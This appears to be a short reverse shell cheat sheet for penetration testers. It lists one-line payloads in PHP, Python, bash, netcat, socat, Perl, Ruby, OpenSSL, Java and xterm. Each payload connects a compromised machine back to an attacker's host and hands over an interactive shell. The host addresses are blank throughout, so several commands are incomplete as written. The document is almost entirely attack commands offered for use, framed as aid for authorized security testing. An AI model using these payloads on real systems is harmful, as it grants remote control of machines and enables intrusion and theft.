This Reverse Shell Cheat Sheet covers various reverse shell commands which you can execute once you have found a command execution vulnerability during your pentest or security audit.

This reverse shell cheat sheet covers:

  • php reverse shells
  • python reverse shells
  • bash reverse shells
  • netcat
  • socat
  • perl
  • ruby
  • openssl
  • java

Php :

php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Python :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash :

bash -i >& /dev/tcp/ 0>&1

Netcat :

nc -e /bin/sh 4444

Socat :

socat tcp-connect: system:/bin/sh

Perl :

perl -e 'use Socket;$i="";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby :

ruby -rsocket -e'f=TCPSocket.open("",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


On your machine (to receive, not a normal TCP connection)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # generate some arbitrary cert
openssl s_server -quiet -key key.pem -cert cert.pem -port 1324

On a compromised client

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect > /tmp/s; rm /tmp/s

Java :

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])

xterm :

xterm -display
